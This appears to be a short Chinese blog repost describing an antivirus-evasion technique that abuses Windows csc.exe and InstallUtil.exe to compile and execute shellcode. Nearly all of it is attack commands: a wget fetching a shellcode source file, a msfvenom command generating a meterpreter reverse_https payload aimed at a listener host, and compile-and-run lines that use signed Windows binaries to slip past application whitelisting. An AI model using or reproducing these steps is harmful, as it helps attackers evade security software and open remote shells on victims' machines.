payload免杀之Installutil.exe&csc.exe利用

0x00 前言

C#的在Windows平台下的编译器名称是Csc.exe。Installutil.exe工具是一个命令行实用程序,允许您通过执行指定程序集中的安装程序组件来安装和卸载服务器资源,可以执行dll,exe,txt等。这两个东西一般情况下是配合使用。所以就不单独拿出来讲了。

0x01 利用过程

1.下载shellcode.cs

wget https://github.com/222222amor/exp_notes/blob/master/InstallUtil-Shellcode-cs

我这里使用cobalt strike的shellcode,你也可以使用msf的shellcode,命令如下:

msfvenom --payload windows/meterpreter/reverse_https LHOST=10.0.0.1 LPORT=443 -f csharp > pentestShellCode.txt

 

2.编译并执行

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /unsafe /platform:x86 /out:exeshell.exe InstallUtil-ShellCode.cs

C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U exeshell.exe

或者 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /platform:x64 /out:exeshell.exe Shellcode.cs

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U exeshell.exe

 

绕过的流程图

 

但是现实很骨感。已经被某60杀了。

 

猜你喜欢

转载自www.cnblogs.com/whoami101/p/11612401.html